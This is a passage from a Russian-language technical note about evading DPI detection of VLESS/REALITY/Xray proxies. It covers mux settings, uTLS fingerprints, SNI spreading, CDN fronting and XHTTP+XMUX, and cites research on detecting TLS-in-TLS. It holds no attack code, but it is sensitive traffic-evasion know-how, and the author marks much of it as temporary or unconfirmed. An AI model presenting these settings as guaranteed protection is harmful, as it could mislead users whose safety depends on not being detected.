равно поймают по поведению. Вот почему одного uTLS мало, и нужен mux. --- ## 🔬 Технические детали: mux — как сгладить лавину соединений `mux` (мультиплексирование) — это прямое лекарство от *Сигнала 3*. ### Проблема, которую он решает Без mux каждая вкладка / каждое приложение = **отдельное физическое TCP+TLS-соединение** до сервера. Открыли почту, мессенджер, пару сайтов — и вот уже залп одновременных коннектов на один замаскированный SNI. Ровно тот паттерн, который ловит DPI. ### Как работает mux в xray Мультиплексирование загоняет **много логических потоков внутрь одного физического соединения**. Снаружи DPI видит **одно** TLS-соединение, по которому идёт постоянный поток данных, — как у обычного пользователя, открывшего тяжёлый сайт. Залпа новых рукопожатий нет → *Сигнал 3* не срабатывает. ```json "mux": { "enabled": true, "concurrency": 8, "xudpConcurrency": 16, "xudpProxyUDP443": "reject" } ``` Разберём параметры: - **`concurrency`** — сколько логических потоков пускать в одно физическое соединение (для TCP). Допустимый диапазон — `1…128`, по умолчанию `8`. Когда лимит исчерпан, открывается новое физическое соединение. Любое отрицательное значение (`-1`) отключает mux для TCP. - **`xudpConcurrency`** — то же самое, но для UDP-трафика поверх механизма XUDP (нужно для игр, звонков, QUIC). Диапазон у него **другой** — `1…1024` (а не 1…128, как у TCP); при `0` или отсутствии XUDP-трафик идёт по тому же пути, что и обычный TCP. - **`xudpProxyUDP443`** — что делать с UDP на 443-м порту (это QUIC/HTTP3). Часто ставят `reject`, чтобы QUIC падал обратно на TCP — так трафик идёт по нашему замаскированному каналу, а не утекает мимо. > [!warning] У mux есть и обратная сторона > - **Head-of-line blocking**: все логические потоки делят одно TCP-соединение. Потеря одного пакета тормозит сразу все потоки внутри. На нестабильном канале это ощутимо бьёт по скорости. > - **Слишком большой `concurrency`** склеивает весь трафик в один долгоживущий коннект — тоже своего рода аномалия (реальные браузеры всё же открывают несколько соединений). Истина посередине: умеренные значения вроде `4–8`. > - Для **скоростных загрузок** mux иногда наоборот мешает — один коннект упирается в лимиты. Поэтому его часто включают выборочно. > [!danger] mux и XTLS Vision: TCP-mux не применяется > Это важно именно для нашей связки. Сейчас стандартный поток для VLESS+REALITY — **XTLS Vision** (`"flow": "xtls-rprx-vision"`). Vision работает на «сыром» (raw) TCP-соединении со `splice`-копированием в ядре Linux, поэтому **TCP-mux при Vision штатно не применяется** — это поведение самого Xray-core, а не сбой (в формулировке ядра: «MUX is not compatible with XTLS raw connections»). > > На практике клиенты при Vision генерируют такой блок: `"enabled": true`, `"concurrency": -1` (TCP-mux выключен), но `"xudpConcurrency"` оставлен — чтобы мультиплексировать хотя бы UDP/XUDP. Учтите: при `"enabled": false` XUDP-mux тоже не активируется. > > Вывод: не копируйте `"concurrency": 8` бездумно поверх Vision-конфига. Если у вас Vision, бороться с *Сигналом 3* придётся другими средствами — в первую очередь разнесением по разным SNI и сдержанным паттерном соединений. ### Дополнительно: разносите SNI Триггер *Сигнала 3* считается **на один SNI**. Если раскидать трафик по нескольким разным SNI (см. большой список в [[Zapret/vless-sni|vless-sni]]), нагрузка не концентрируется на одном имени, и порог «>3 соединений с интервалом <~350-400 мс за 60 с» на каждое отдельное имя достигается труднее. mux + несколько SNI вместе очень эффективно сглаживают поведенческий след. --- ## ✅ Что делать: рвём цепочку (по шагам) Поскольку триггер — это «И» трёх условий, для безопасности достаточно стабильно нарушать **хотя бы одно** звено. На практике стоит закрыть несколько — для запаса прочности. ### Шаг 1. Сменить фингерпринт на «лояльный» Самое дешёвое действие. В `realitySettings` поменять `fingerprint` с `chrome` на `firefox` или `edge`: ```json "realitySettings": { "fingerprint": "firefox" } ``` ### Шаг 2. Включить `mux` и снизить параллелизм Сглаживаем залп соединений: ```json "mux": { "enabled": true, "concurrency": 8 } ``` И дополнительно — **разнести трафик по нескольким SNI** ([[Zapret/vless-sni|список SNI]]). > [!warning] Если у вас XTLS Vision > При стандартном для REALITY flow `xtls-rprx-vision` TCP-mux **не применяется** (см. раздел про mux и Vision выше), так что `concurrency: 8` тут не сработает. Тогда против Сигнала 3 работают только **разные SNI + сдержанный паттерн**, либо переход на **XHTTP+XMUX** (см. FAQ «Можно ли вылечить обе болезни сразу?»). ### Шаг 3. Увести сервер в «невидимую» подсеть Уходим из массовых диапазонов народных хостингов (Selectel, Яндекс.Облако и т.п.). Менее предсказуемый провайдер/подсеть → выпадаем из списка «подозрительных». Подбор — в [[VPS/VPS|VPS]]. ### Шаг 4. Не дёргаться под нагрузкой Поймали деградацию — **не меняйте фингерпринт на лету**. Лучше переждать окно (120 с) или сменить узел целиком. Оговорка по актуальности: длинную десятиминутную блокировку автор наблюдений в обновлении от 16 июня 2026 отметил как, судя по всему, убранную — но осторожность здесь всё равно дешевле эксперимента. > [!note] «Смени фингерпринт» — не единственный и не универсальный рецепт > Совет про `firefox`/`edge` — снимок одной волны, и он не гарантирован. Что важно держать в голове: > - **Свежесть пресета uTLS важнее выбора браузера.** К концу 2025 — началу 2026 более половины «человеческих» браузерных соединений (по данным Cloudflare Radar) несут **post-quantum** key_share (`X25519MLKEM768`) — он стал дефолтом в Chrome 131 (ноя 2024) и Firefox 132 (окт 2024). Пресет без него, выдающий себя за свежий браузер, уже сам по себе аномален — следите, чтобы uTLS/xray были свежими. > - **Не путайте с обходами ДРУГИХ блокировок.** Советы «пустой SNI» и «нестандартный порт (47000+)» относятся к более ранней *сигнатурной* блокировке на порту 443 (нач. 2025) и к ограничению по числу TLS-соединений — «сибирскую» схему (подсеть + фингерпринт + частота) они логически не нарушают. `XHTTP` помогает лишь как способ снизить число соединений (это уже делает `mux`), а Shadowsocks-2022 — не обход, а смена протокола (у него нет ни SNI, ни uTLS-почерка браузера). Столкнулись именно с этой схемой — работает только нарушение её трёх условий. ### Проверить себя: dpi-checkers Автор первоисточника ведёт инструмент **[dpi-checkers](https://github.com/hyperion-cs/dpi-checkers)** (на момент разбора — версия **v0.7.0**). Он прогоняет вашу инфраструктуру по описанным критериям: попадает ли подсеть в подозрительные, как выглядит фингерпринт, ловится ли поведенческий паттерн. Проверки задаются в YAML, например фильтр по организации хостинга: ```yaml checkers: webhost: infra: - name: Selectel filter: org("selectel") ``` --- ## ❓ Слабые места и частые вопросы Несколько вопросов, которые закономерно возникают после прочтения. ### Фиксированный список фингерпринтов uTLS — это слабое место? **Да.** `firefox`, который у вас «снова заработал», — это **снимок конкретной версии** (например `HelloFirefox_120`). И его тоже могут начать ловить. Почему список — структурная слабость: - **Устаревание.** Пресет заморожен во времени, а живой браузер обновляется каждые недели. `HelloChrome_120` со временем становится *редкой старой* версией на фоне Chrome 13x — особенно теперь, когда у свежих браузеров появился post-quantum `key_share`, которого у старого пресета нет. - **Перечислимость.** Список открытый и небольшой (~50 пресетов в `u_common.go`). Цензор может просто выписать все JA3/JA4 пресетов uTLS и сверять с распределением реальных браузеров. - **Несовершенство «попугая».** Даже совпав по версии, uTLS иногда отличается в деталях — вплоть до уязвимостей с CVE: например рассогласование GREASE/ECH-шифров в Chrome-пресете давало комбинацию, невозможную у настоящего Chrome (CVE-2026-27017, закрыто в uTLS 1.8.1). **Что вас пока спасает:** заблокировать *популярный валидный* фингерпринт целиком цензору дорого — сломаются реальные пользователи Firefox/Chrome. Слабость возникает, когда отпечаток **одновременно** коррелирует с прокси **и** достаточно редкий, чтобы блок был «дешёвым». ### Можно отсканировать свой реальный браузер и залить отпечаток в uTLS-клиент? И да, и нет — важно разделить **библиотеку** и **конечный клиент**: - **В библиотеке uTLS — можно.** `Fingerprinter.FingerprintClientHello(rawBytes)` берёт **сырые байты** реального `ClientHello` (захваченные Wireshark'ом — *не* JA3-хеш, он «лоссовый»), строит `ClientHelloSpec`, применяемый через `HelloCustom`. - **В xray-core и sing-box — НЕЛЬЗЯ.** Оба ограничены меню пресетов; подсунуть свой захваченный `ClientHello` в конфиг нельзя. Это просили напрямую — [xray-core issue #1782](https://github.com/XTLS/Xray-core/issues/1782) **закрыт как «not planned»**. - **Сканеры своего браузера живы:** [browserleaks.com/tls](https://browserleaks.com/tls) (самый подробный), [tls.peet.ws](https://tls.peet.ws/) (JSON-API). Но они выдают хеши/сводку, **а не raw-байты**, нужные `Fingerprinter`. Итого: **готового пайплайна для обычного пользователя нет** — это ручная работа разработчика (pcap → `FingerprintClientHello` → свой Go-код). В стандартном клиенте доступны только пресеты + `random`/`randomized`. > [!warning] Парадокс уникальности > Если зальёте *свой уникальный* отпечаток — он станет маркером именно **вас**. Сила браузерного фингерпринта в том, что он *массовый*; уникальный — наоборот, деанонимизирует. ### Альтернатива uTLS-пресетам: реальный стек Chromium (naive/cronet) Раз uTLS — это **попугай** (заморожённый пресет, который перечислим и со временем протухает, а ручной скан своего браузера в стандартный клиент не залить), напрашивается другой путь: не *имитировать* браузер, а **взять настоящий сетевой стек браузера**. Тогда JA3/JA4 — не копия, а подлинник, и обновляется он вместе с браузером. Это удобно представить как **лестницу аутентичности почерка** (от худшего к лучшему): | Подход | Почерк | Свежесть | Мультиплексирование | | --- | --- | --- | --- | | **uTLS-пресет** (`chrome`/`firefox`) | копия, перечислимая | протухает (нужно ждать новый пресет) | нет (нужен отдельный mux) | | **NaiveProxy** (Chromium `//net`/cronet) | подлинный стек Chromium | **отстаёт**: автор вручную линкует свежий хромиум; на момент обсуждения был Chrome 149, а Naive — на сборке ~148.x | да, естественный HTTP/2 | | **XHTTP + Browser Dialer** (Xray) | подлинный — TLS делает **реально установленный в системе браузер** | **моментальная**: берётся любой обновлённый браузер из системы | да, в паре с **XMUX** (`maxConnections`) | > [!tip] Закрывает сразу две оси — но **двумя рычагами**, не «одной галочкой» > Подлинный стек браузера даёт **массовый настоящий фингерпринт** — это **Сигнал 2** (дорого банить, не «протухает», как пресет). А вот поведенческую ось (**Сигнал 3**) закрывает **не сам почерк, а транспорт**: HTTP/2 + `XMUX`. У **NaiveProxy** мультиплексирование нативное (HTTP/2 в cronet); у **Browser Dialer** его нужно **включить отдельно** — `XMUX`/`maxConnections` в XHTTP, само по себе оно не появляется. То есть это **два рычага в связке** (подлинный почерк + mux), а не один инструмент «из коробки» — зато оба живут в одном клиенте, тогда как «uTLS + отдельный mux» собираются из более хрупких частей. Про поведенческую ось — см. раздел про **mux** в этой заметке; `XMUX` в xhttp придумали ещё **до** «сибирской» схемы — изначально ради пулинга соединений под CDN, но как **побочный эффект** это и сглаживает лавину (Сигнал 3). Нюансы (по сообщениям сообщества, не как гарантия): - **NaiveProxy** всё ещё **не свободен от устаревания**: cronet-стек влинкован под конкретную сборку Chromium, и пока автор не пересоберёт под новый — поведение свежего Chrome может отличаться в деталях. То есть Naive **уменьшает** разрыв с реальным браузером, но не обнуляет его. - **Browser Dialer** использует **уже установленный** браузер, поэтому переход на новую версию мгновенный и попугайства нет вообще — но цена в том, что нужен живой браузер/вкладка-«диалер» рядом с клиентом (UX-издержка); по сообщениям, на Android рабочий вариант. - Это **клиентский** путь: почерк генерится **на устройстве пользователя**, до цензора — ровно то, о чём [[mtproxy/ja4-sni-client-side|«JA4 и SNI меняет только клиент»]]. Серверная сторона тут по-прежнему ничего не решает. > [!warning] Не «серебряная пуля» > Подлинный почерк снимает только **Сигнал 2** (фингерпринт) и, через XMUX/HTTP-2, **Сигнал 3** (частоту). **Сигнал 1 (подсеть VPS)** остаётся — его убирает только CDN-фронтинг (см. ниже «Что реально помогает против сигнала подсети»). И сам по себе подлинный стек не прячет **TLS-в-TLS** — это отдельная ось (Vision/padding). ### Имеет ли смысл держать на VPS свою страничку и использовать её как SNI? **Для REALITY — нет, это ломает саму идею.** REALITY не использует ваш домен — он **заимствует TLS-личность чужого популярного сайта**: вы указываете `target`/`dest` = реальный внешний сайт, REALITY ретранслирует к нему рукопожатие, и наблюдатель видит **настоящий сертификат этого сайта**. Своя страничка как SNI: - **теряет заёмную репутацию** (а это весь смысл REALITY) — неизвестный `myhomepage.tld` репутации не имеет; - **не входит в SNI-whitelist** — при белых списках неизвестное имя *подозрительнее* знаменитого; - **концентрирует частоту** — весь трафик на один свой SNI = ровно та аномалия «много к одному редкому имени», которую ловит Сигнал 3. Decoy-сайт (своя страница + nginx-fallback) — это про **классическую** маскировку (Trojan / VLESS + реальный сертификат) и помогает он против **активного зондирования**, а не против этой пассивной схемы. Если уж REALITY напрямую на VPS — берите чужой *знаменитый* SNI, не свой. ### Не устарел ли сам REALITY? (сверка пары SNI↔IP) Отдельный довод, который звучит у практиков: REALITY становится уязвим к **сверке пары SNI↔IP**. Вся идея REALITY — *заимствовать* чужой знаменитый SNI (например `www.microsoft.com`), но соединение при этом идёт на **ваш VPS-IP**, а не на реальные адреса Microsoft. Пассивный цензор, ведущий карту «какой SNI обычно ходит на какие IP/ASN», может ловить **рассогласование**: в `ClientHello` заявлен `www.microsoft.com`, а пакет летит в случайную подсеть хостинга. Активное зондирование тут ни при чём — это **пассивная** проверка, и фирменная защита REALITY «отдать настоящий серт на пробу» от неё **не спасает** (это другая ось). > [!warning] «REALITY бесполезен» — это гипербола > Сверка SNI↔IP **дорога цензору**: легитимных рассогласований масса (CDN, ECH, сплит-DNS, корпоративные прокси), поэтому массовая проверка даёт ложные срабатывания на обычном трафике — тот же «сопутствующий ущерб», что и с подсетями. Корректнее формулировать как «вектор реален и REALITY **слабеет**», а не «мёртв». И главное: это **мнение/прогноз практиков**, а **не** подтверждённая часть «сибирской» схемы — в первоисточнике три сигнала (подсеть, фингерпринт, частота), **сверки SNI↔IP там нет**. Это **родственная** логика той, что осторожно отмечена для MTProto в [[mtproxy/ja4-sni-client-side|проверке SNI на резолвимость]]: в обоих случаях цензор сверяет заявленное имя с реальностью соединения. Но **сами проверки разные**: для MTProto — *резолвится ли SNI вообще* (есть ли A-запись); для REALITY — *совпадает ли SNI с IP назначения*. И там, и там это пока **гипотеза о развитии DPI**, а не зафиксированное правило. И ещё довод против «фирменности» REALITY: его защита от активного зондирования — это **fallback** (редирект неаутентифицированных проб на `dest`-бэкенд, «spider mode»), и поведенчески она воспроизводится **десятком строк** в caddy/nginx (обычный TLS + fallback на реальный сайт). То есть по-настоящему уникальна у REALITY именно **заёмная личность** чужого *удалённого* сайта — а её как раз и подтачивает сверка SNI↔IP. (Для ясности: **self-steal** — это не защита, а *топология* REALITY, где `dest`/`target` смотрит на **свой локальный** decoy, т.е. ровно тот самый «своя страница + nginx-fallback», только средствами REALITY — противоположность заимствованию чужого сайта.) При этом против самого опасного, **Сигнала 1 (подсеть)**, REALITY не помогал никогда — поэтому общий вывод не меняется: структурный рычаг — **CDN-фронтинг** (см. ниже), а не выбор «магического» транспорта. ### Что реально помогает против сигнала «подозрительная подсеть»? Все локальные меры (свежий пресет, mux, разные SNI, выбор провайдера) **не убирают Сигнал 1** — подсеть VPS остаётся подозрительной. Единственный рычаг, который **структурно** его убирает, — спрятать назначение за **большим CDN**: - **VLESS over XHTTP / WebSocket за Cloudflare.** Цензор видит соединение к **IP Cloudflare** (огромный, де-факто whitelisted), а не к вашему VPS — сигнал подсети исчезает, потому что меняется *сам адрес, который видит цензор*. - **Цена честно:** CDN терминирует ваш TLS и **видит трафик** в открытом виде; **медленнее** (крюк через edge); **ToS-серая зона** для тяжёлого/видео-трафика. - Важно: сам REALITY за CDN так не ставится — ради CDN меняют транспорт (XHTTP/WS). #### Что от чего помогает: active probing vs пассивная схема | Мера | Против active probing | Против пассивной схемы (подсеть + фингерпринт + частота) | | --- | --- | --- | | REALITY со **знаменитым чужим** SNI | ✅ | ⚠️ частично — знаменитый SNI размывает частоту, но **подсеть не меняется** | | REALITY со **своим decoy-SNI** | ✅ | ❌ хуже — редкий SNI концентрирует трафик; подсеть та же; не в whitelist | | Классика VLESS/Trojan + свой серт + nginx-fallback | ⚠️ частично | ❌ — свой домен + та же подсеть | | **CDN-фронтинг** (VLESS+XHTTP/WS за Cloudflare) | ✅ | ✅ **единственный рычаг, убирающий сигнал подсети** (цена: CDN видит трафик, медленнее, ToS) | ### Прямое подключение vs каскад — спасает ли это от Сигнала 1? Короткий ответ: **нет — решает не топология, а флагнутость подсети первого хопа.** Сигнал 1 смотрит **не на вашу домашнюю подсеть** (residential-IP в РФ), а на **подсеть назначения того соединения, которое видит DPI** — то есть на **первый хоп**, сервер, к которому вы открываете TLS. - **Прямое `юзер → eu-нода`.** DPI видит соединение к зарубежному серверу. И зарубежные хостинги **тоже** в списке подозрительных — более того, они там были **изначально**: старые методы (`tcp 16-20` / `l4-25`) били **только** по зарубежным провайдерам (Hetzner, DigitalOcean, OVH). Новизна «сибирской» схемы — что к ним **добавили** российские ДЦ, а не заменили. Так что прямое подключение к VPS на Hetzner/DO **спокойно попадает** под Сигнал 1. - **Каскад `юзер → ru-нода → eu-нода`.** DPI видит вход — **ru-ноду**. Если она на Selectel/Яндекс.Облаке, это **теперь тоже** подозрительная подсеть, то есть каскад через российский ДЦ стало только **хуже**. (Хоп ru→eu — исходящий трафик сервера, ваш DPI его как клиентское рукопожатие не оценивает.) Сигнал 1 **не срабатывает** не «при прямом» и не «при каскаде», а когда подсеть первого хопа **вообще не в списке**: residential/мобильные IP, большой CDN (поэтому CDN-фронтинг и есть структурный рычаг), редкий «чистый» провайдер. Hetzner напрямую и Selectel через каскад «горят» одинаково; residential или CDN — нет, в любой топологии. > [!quote] Оговорка > Точный состав списка подозрительных подсетей публично неизвестен (реверс-инжиниринг одного автора). Вывод «зарубежные тоже в списке» следует из формулировки первоисточника («затронуты подсети/AS, **в т.ч.** российских ДЦ, в отличие от методов, бивших **только** по зарубежным»), а не из опубликованной спецификации. ### Разве XTLS Vision не маскирует большое количество TLS-соединений? Частая путаница. **Нет — Vision маскирует не *количество* соединений, а *форму* TLS-в-TLS внутри одного соединения.** - Vision (`xtls-rprx-vision`) решает проблему **«TLS-in-TLS detection»**: когда прокси несёт внутренние TLS-записи внутри внешнего TLS, возникает узнаваемый вложенный паттерн (характерные размеры записей). Vision добавляет padding в раннюю фазу рукопожатия и затем переключается на прямое `splice`-копирование в ядре — внешне трафик перестаёт выглядеть как «TLS в TLS». - Но Vision работает **по-соединению** и **ничего не объединяет**. Каждое проксируемое соединение — это всё равно свой отдельный внешний TLS+TCP-коннект к серверу. Браузер открыл 10 вкладок → 10 внешних TLS-соединений на один SNI. Это ровно территория **Сигнала 3**. - Объединяет много логических потоков в одно физическое соединение — это **`mux`**, а не Vision. И именно поэтому они конфликтуют (см. раздел про mux выше): Vision требует «сырого» TCP под splice, а mux оборачивает поток. Вывод: Vision прячет *вложенность* TLS, но **не уменьшает число соединений**. Против поведенческого Сигнала 3 он не помогает — это задача mux (несовместимого с Vision) либо разнесения по разным SNI и сдержанного паттерна. Именно из этой несовместимости вырос популярный слух «в России без flow работает лучше»: у части домашних провайдеров с ноября 2025 года помогала связка «пустой flow + mux», где отказ от Vision был техническим условием для mux, а не самостоятельным обходом. Разбор случая с первоисточниками — в [[xray/vless-stack-map|карте слоёв VLESS-стека]], раздел про пустой flow. ### Vision, mux и «TLS-в-TLS» — три вещи, которые путают Самый запутанный узел. Тут сходятся **три независимых** понятия — разведём их: | Ось | Что это | Чем управляется | | --- | --- | --- | | **Security** (`reality`/`tls`) | чьей TLS-личностью представляется внешний туннель | выбор `security` | | **TLS-в-TLS** | вложенность: сайт-TLS *внутри* туннеля | возникает сам при HTTPS-сёрфинге → лечит **Vision** | | **Число внешних соединений** | сколько отдельных TCP+TLS к серверу | `mux` (вкл/выкл) → считает **Сигнал 3** | Главное: **`reality` vs `tls` НЕ решает «отдельные коннекты или один поток»** — это решает `mux`. И reality, и tls по умолчанию дают одно внешнее соединение на коннект и оба несут TLS-в-TLS. К этим трём осям с конца августа 2025 добавилась четвёртая — `encryption`, то есть [[xray/vless-encryption|шифрование самого протокола VLESS]]. Маскировку она не заменяет: её собственный внешний вид спрятан внутри туннеля, а снаружи наблюдатель видит всё тот же внешний слой. Зато она снимает старое ограничение «Vision только на прямом TCP» и даёт настраиваемую набивку рукопожатия — RPRX в ноябре 2025 предлагал вложить её внутрь REALITY именно как способ поменять признаки трафика без правки кода. Полная матрица сочетаний — в [[xray/vless-stack-map|карте слоёв VLESS-стека]]. **Что такое TLS-в-TLS** (с этим борется Vision). Открываете `https://google.com` через туннель — получаются два вложенных слоя TLS: ```text [ внешний TLS / REALITY-туннель : вы ↔ ваш VPS ] └── внутри: [ внутренний TLS : браузер ↔ google.com ] ← «TLS в TLS» ``` Даже ОДНО соединение уже имеет эту вложенность: размеры записей внутреннего рукопожатия «просвечивают» сквозь внешний слой. Vision добавляет padding и переключается на splice, чтобы внутренний почерк не просвечивал. Это есть и при `reality`, и при `tls`. **А «один большой поток с кучей рукопожатий» — это `mux`** (а не `security: tls`!): ```text [ ОДНО внешнее TLS-соединение ] ├── подпоток 1 → сайт A (внутри свой TLS) ├── подпоток 2 → сайт B └── подпоток 3 → сайт C ``` Много потоков в одном коннекте → меньше внешних соединений → бьёт по Сигналу 3. Но Vision на mux-поток **не накладывается** — ему нужен «сырой» отдельный TCP под splice, поэтому Vision и mux **взаимоисключающие**. > [!summary] Развязка > - **Vision** лечит **TLS-в-TLS** (форму *внутри* одного соединения) — это отдельный детект, **не** из «сибирской» тройки. > - **mux** лечит **число соединений** (Сигнал 3). > - Они чинят разные болезни и **взаимоисключающи** — выбираете что-то одно. > - `security` (reality/tls) — только про то, *чьим* сертификатом представляется туннель; к «коннекты vs поток» отношения не имеет. ### Можно ли вылечить обе болезни сразу? Раз Vision и mux взаимоисключающие — обречены ли мы выбирать? **Нет.** И тут важное переосмысление: сам конфликт — **не «защита против защиты»**. Vision склеивает две разные вещи: - **padding** — добивает короткие пакеты ранней фазы рукопожатия → это и есть **анти-детект** TLS-в-TLS; - **splice** — после рукопожатия копирует поток прямо в ядре Linux → это **оптимизация производительности**, и только. С mux несовместим именно **`splice`** (ему нужен «сырой» 1:1 поток), а **не `padding`**. То есть настоящий трейд-офф — **«padding + splice-скорость» против «мультиплексирования»**, а не «один детект против другого». Splice — это то, чем жертвуют, а не защита. **Значит, обе болезни лечатся одновременно — ценой отказа от splice-ускорения.** **Практическое воплощение — транспорт XHTTP + XMUX** ([«XHTTP: Beyond REALITY», #4113](https://github.com/XTLS/Xray-core/discussions/4113)) — VLESS поверх HTTP/2 или H3: - **число соединений** лечит **XMUX** (объединяет логические запросы в одно физическое соединение) — ✅; - **форму TLS-в-TLS** размывает (header-padding `xPaddingBytes` + разнесение upload/download + перемешивание потоков); - **совместим с REALITY** и **работает за CDN** — а это убирает заодно и Сигнал 1 (подсеть становится CDN'овской). | | Vision + REALITY (raw TCP) | XHTTP + XMUX (+ REALITY/CDN) | | --- | --- | --- | | TLS-в-TLS | ✅ padding + splice (сильнее по форме) | ⚠️ padding + split + mux (статистически, слабее) | | Число соединений (Сигнал 3) | ❌ (mux нельзя) | ✅ XMUX | | Подсеть (Сигнал 1) | ❌ | ✅ если за CDN | | Скорость | ✅ splice | ❌ всё через userspace (медленнее) | > [!warning] Честная оговорка > XHTTP прячет TLS-в-TLS **слабее**, чем кажется. По [USENIX Security 2024](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) («Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes») padding + мультиплексирование «многообещающи, но **принципиально ограниченны**»: они не уменьшают размер всплесков и число round-trip'ов, по которым вложенное рукопожатие и палится. XHTTP делает детект **статистически дороже**, а не невозможным. *Почему* именно — разобрано ниже, в пункте про round-trip'ы. **Итог:** вылечить обе можно (XHTTP+XMUX), цена — потеря splice-скорости (а не принципиальный запрет) плюс «статистический», а не идеальный анти-TLS-в-TLS. Поэтому XTLS рекомендует держать **оба профиля** на сервере: `Vision+REALITY+TCP` для скорости/прямого подключения и `XHTTP+XMUX` для стелса/CDN (популярная «5-в-1» конфигурация). ### А kTLS — вернёт ли он потерянную скорость? **kTLS** (Kernel TLS) — функция ядра Linux, переносящая шифрование/расшифровку TLS-записей **в ядро**. За счёт этого forwarding может работать с zero-copy (`sendfile`/`splice`) даже когда прокси сам терминирует TLS. В xray это обсуждается ([discussion #4270](https://github.com/XTLS/Xray-core/discussions/4270), [issue #2565](https://github.com/XTLS/Xray-core/issues/2565)) как способ получить splice-уровень производительности **без** XTLS Vision — в обычном TLS-проксировании. Но важно, чем kTLS **не** является: - Это **только производительность**, не анти-детект. Он ничего не прячет — ни форму TLS-в-TLS, ни число соединений. - Он **не отменяет** дилемму mux↔splice: ядерное копирование всё равно несовместимо с мультиплексором, который оборачивает поток в свои фреймы. - В xray это пока **экспериментально / на стадии обсуждения**, а не готовая кнопка. Грубо: kTLS — рычаг «вернуть часть CPU и скорости», **ортогональный** детекту. На вопрос «как спрятаться» он не отвечает; он про «как сделать это дешевле по ресурсам». ### Почему padding и mux в принципе не прячут TLS-в-TLS (детект по round-trip'ам) Самый глубокий уровень — *почему* padding и мультиплексирование лишь полумеры **против детекта TLS-в-TLS**. (Важно: это отдельный вектор, **не** «сибирский» Сигнал 3 — число параллельных соединений mux по-прежнему уменьшает; речь о том, что *форму* вложенного рукопожатия полностью спрятать не удаётся.) Объясняет это [USENIX Security 2024](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting). TLS-рукопожатие — это характерная **хореография**: всплеск пакетов от клиента → пауза в один **RTT** (round-trip) → ответный всплеск от сервера → снова пауза → и т.д. Когда такое рукопожатие идёт **внутри** туннеля, эта последовательность «всплеск — пауза RTT — всплеск» **просвечивает наружу** узнаваемым ритмом в начале соединения. И вот суть, почему обфускация не спасает: - **padding** меняет *размеры* пакетов — но **не меняет число round-trip'ов** и не убирает структуру всплесков. Ритм остаётся. - **mux** перемешивает потоки — но при малой нагрузке (один-два активных потока) перемешивать нечего, и начальное рукопожатие сохраняет свой round-trip-узор. Поэтому детектор смотрит не на байты, а на **последовательность всплесков, их направления и паузы между ними** — и опознаёт «внутри идёт TLS-рукопожатие». Это устойчиво к padding'у и частично к mux'у. Цифры из той работы стоит приводить аккуратно, потому что их постоянно сравнивают между собой некорректно — они относятся к разным конфигурациям и разным моделям. Набивка у vmess поверх WebSocket и TLS снижает TPR (долю верно распознанных прокси-потоков) с **0,859 до 0,687**, причём авторы отдельно оговаривают, что схема набивки у vmess узкая — 0–63 байта. Для XTLS-Vision модель переучили так, чтобы она опиралась на направления и порядок пакетов, а не на их индивидуальные размеры; у неё TPR **0,513**, но при вчетверо большем допуске ложных срабатываний (0,199 % против 0,054 %). То есть «51 %» — это не «Vision сбил детект с 70 % до 51 %», а результат другой модели на другом пороге. Мультиплексирование в тех же измерениях эффективнее: у голого vmess объединение двух потоков роняет TPR с 0,771 до 0,225 — более чем на 70 %, — а vmess поверх WebSocket и TLS при восьми параллельных потоках опускается до **0,125**. Ключевая оговорка: при одном активном прикладном потоке перемешивать нечего, и mux деградирует до уровня обычного соединения. > [!summary] Что нужно для настоящей защиты > По выводам статьи — не *дополнять* трафик, а **переформировывать** его: уменьшать размер всплесков и число round-trip'ов внутри соединения. Готового решения, полностью закрывающего это, в современных клиентах пока нет. Отсюда и фундаментальность гонки: обфускация поднимает *стоимость* детекта, но не делает его невозможным. ### Можно ли mux без head-of-line blocking? Раз у mux есть болячка HoL (потеря одного пакета тормозит все потоки) — можно ли мультиплексировать без неё? **Можно, и это уже сделано** — но сначала о корне. **Откуда берётся HoL.** TCP — это **один упорядоченный надёжный байтовый поток**. Mux поверх него гонит все логические потоки через этот единый поток. Потерялся пакет → TCP держит всё, что пришло **после** него, пока не дождётся повтора — даже данные других потоков, которые уже дошли целыми. Это **неизбежно** для любого mux поверх одного TCP: ни Mux.Cool, ни HTTP/2 не уйдут — они все сидят на одном TCP-потоке (HTTP/2 убрал HoL на уровне приложения, но не транспорта). **Выход — не использовать единый TCP-поток.** Надо дать каждому логическому потоку **свою независимую упорядоченность**. Это умеет **QUIC (= HTTP/3)**: работает поверх UDP и реализует надёжность/порядок **на каждый поток отдельно**. Потерянный пакет блокирует только свой поток — остальные едут дальше. Ради этого QUIC и придумали. **В xray это уже есть:** XHTTP поддерживает **H3-режим** (QUIC) → XMUX поверх QUIC = мультиплексирование **без TCP-HoL**. > [!warning] Подвохи — почему это не дефолт > - **QUIC = UDP, а UDP легко душат.** Цензор может троттлить/резать UDP или QUIC целиком (в РФ бывает) → откат на TCP, и HoL возвращается. Отсюда же `xudpProxyUDP443: reject` (форсить откат QUIC на TCP). > - **QUIC не прячет детект.** Round-trip'ы вложенного рукопожатия (см. пункт выше) просвечивают и через него — QUIC лечит *производительность/HoL*, а не *обнаружимость формы*. > - **Цена и совместимость.** QUIC — userspace, дороже по CPU; поддержка H3 у CDN/промежуточных узлов неровная. **Итог:** HoL **неустраним** поверх одного TCP — это закон. Обойти = перейти на per-stream-транспорт (**QUIC/H3**, XHTTP умеет), но вы меняете «HoL + надёжный TCP» на «без HoL, но по UDP, который цензор может прибить» — и форму трафика это всё равно не лечит. Бесплатного обеда нет. --- ## 🎯 Главный вывод Эпоха «поставил REALITY и забыл» закончилась. DPI перешёл от анализа **содержимого** пакета к анализу **поведения** соединения. Отсюда три следствия: 1. Идеальная криптография **больше не гарантирует** невидимость — она необходима, но недостаточна. 2. Решает не один параметр, а **совокупность косвенных признаков** (подсеть + фингерпринт + поведение). 3. Устойчивость даёт не «волшебная галочка», а **грамотный профиль целиком**: правильная подсеть, лояльный фингерпринт (uTLS), сдержанный паттерн соединений (mux + разные SNI). Гонка щита и меча перешла на уровень статистики и поведения. Выигрывает тот, чей трафик **скучный** — максимально похожий на обычного пользователя и снаружи, и внутри. --- ## 📚 См. также - 🔗 **Первоисточник:** [habr.com/ru/articles/1044396](https://habr.com/ru/articles/1044396/) — Пётр Осетров (@hyperion_cs) - 🔗 [uTLS — refraction-networking/utls](https://github.com/refraction-networking/utls) - 🔗 [dpi-checkers — hyperion-cs/dpi-checkers](https://github.com/hyperion-cs/dpi-checkers) - 🔗 [xray-core — 